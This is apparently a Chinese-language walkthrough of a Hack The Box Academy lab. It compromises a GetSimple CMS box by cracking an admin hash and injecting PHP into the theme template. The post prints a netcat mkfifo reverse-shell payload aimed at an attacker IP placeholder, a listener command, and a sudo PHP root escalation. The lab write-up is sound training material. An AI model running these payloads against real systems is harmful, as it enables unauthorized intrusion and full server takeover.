Published on
|...

HTB-Attack Your First Box -Knowledge Check


最後的知識檢查!

題目一 Spawn the target, gain a foothold and submit the contents of the user.txt flag.


首先看到我們的目標主機,馬上打開web試試

image

打開web開發者工具,好像沒有看到什麼

image 2


下一步用nmap scan 看看

nmap -sC -sV -oA enum_scan 10.129.42.249 -v

注意到兩個有趣的東西,一個是22port 一個是robots.txt 提到,禁止進入admin 那等等就來進去看看

image 3

先透過searchsploit GetSimple看看有沒有什麼漏洞可以用

image 4

網頁打開來看看,注意到一條有趣的評論

image 5

在網址上面帶上/theme試試,看起來出現了一個目錄

image 6

東看西看,注意到Innovation裡面有不少php,跟一個images檔案,會不會找到可以上傳的地方呢

image 7

剛剛提到的 /admin 看起來可以進去,下一步,可以暴力破解or再找找線索,

image 8

在虛擬主機,有點找不到東西,點進去Document也會出現 404

image 9

那我們就來用自己的瀏覽器來翻翻看 直接搜尋getsimple就會出現https://get-simple.info/

image 10

既然都提供連結了,我們直接跳到Github來看看吧

Github 快速呈現了所有他有相關的路徑 包括我們前面看到的/admin & /theme

所以所有相關目錄我們目前都知道了

image 11

東看看西看看,發現/data 下面有一個/users/admin.xml

點開來看看,啊哈 帳號密碼 來去試試看

image 12

直接測試的結果看起來不對

但很明顯這是帳號密碼,會不會是hash過的?

考慮到hash這種單向函數需要工具

image 13

我們就直接找外部工具吧,果然查出來也是admin

image 14

在用admin/admin 登入一次

image 15

看來順利登入了

image 16

黃色總是特別醒目,我們點擊看看support,果然找到了版本,有了版本,馬上就可以看看有沒有漏洞

image 17

透過searchsploit getsimple v3.3.16 看起來有個RCE漏洞

image 18

稍早我們注意到目錄裡,有很多php檔案,也許我們可以透過這種方式上傳有害的php

接下來就是找找看路徑 點擊到file 裡面看到有upload 但點擊下去似乎沒有反應,也測試看看可以新建folder

image 19

我們目前已知所有的路徑,看來theme是有機會的
image 20

Theme分頁視窗

image 21

瀏覽theme的畫面

image 22

接下來我們發現 Edit theme 是可以動手的

image 23

並且可以編輯template.php這個檔案

image 24

那就直接來寫我們學過的php 指令試試,最後按下save changes

<?php system('id'); ?>

image 25

看起來馬上就生效了
image 26

再來一次首頁,出現了我們預期的內容

image 27

既然測試ok,首頁被我們搶走了,那接下來我們就要動手做出一個反向shell

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {Attack IP} {Listening port} >/tmp/f"); ?>

把我們學過的貼上去,記得調整IP & port 之後儲存變更

image 28

打開自己的terminal開始監聽

$ nc -lvnp {listening port}

image 29

然後打開首頁讓他跑一下!

我按下重新整理後,果然出現了!

image 30

試試執行python3 來取得好的clipython3 -c 'import pty; pty.spawn("/bin/bash")'

image 31

既然有權限就可以到處找,但我比較偷懶,既然知道我們要找user.txt

我就直接用 find / -name user.txt

雖然有些地方沒有權限,但還是有找到一個,會是他嗎

image 32

Bingo!

image 33


題目二 After obtaining a foothold on the target, escalate privileges to root and submit the contents of the root.txt flag.


題目談到要提權

我們就先來裝剛學到的, 記得下載到本機而不是取得權限的遠端主機
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

image 34

一樣是我們學過的招式

在本機開個server sudo python3 -http.server 8080

遠端主機用wget在取得一次,左邊是我們取得權限的主機,第一次失敗是因為我在本地還沒有按下啟動server

image 35


好了各位客官,上權限!

chmod +x LinEnum.sh
./LinEnum.sh

接下來就是來看掃描結果 看來有些有趣的東西

image 36

發現 all:all NOPASSWD /usr/bin/php

根據我們再提權章節學到的

透過指令 sudo -u root /usr/bin/php取得root權限試試,便可以順利拿到flag.txt

看來此路不通

如果用 sudo -l 也可以看到一樣的東西

image 37

看來php要用特殊的方式才能進來,查來查去要這樣做,原理還沒搞懂,這部分需要再查查

cd /usr/bin

CMD="/bin/sh"
sudo /usr/bin/php -r "system('$CMD');"

image 38

雖然shell怪怪的,但的確可以執行,繼續透過find 很快找出root.txt

image 39


終於成功完成第一區啦~

https://academy.hackthebox.com/achievement/2271326/77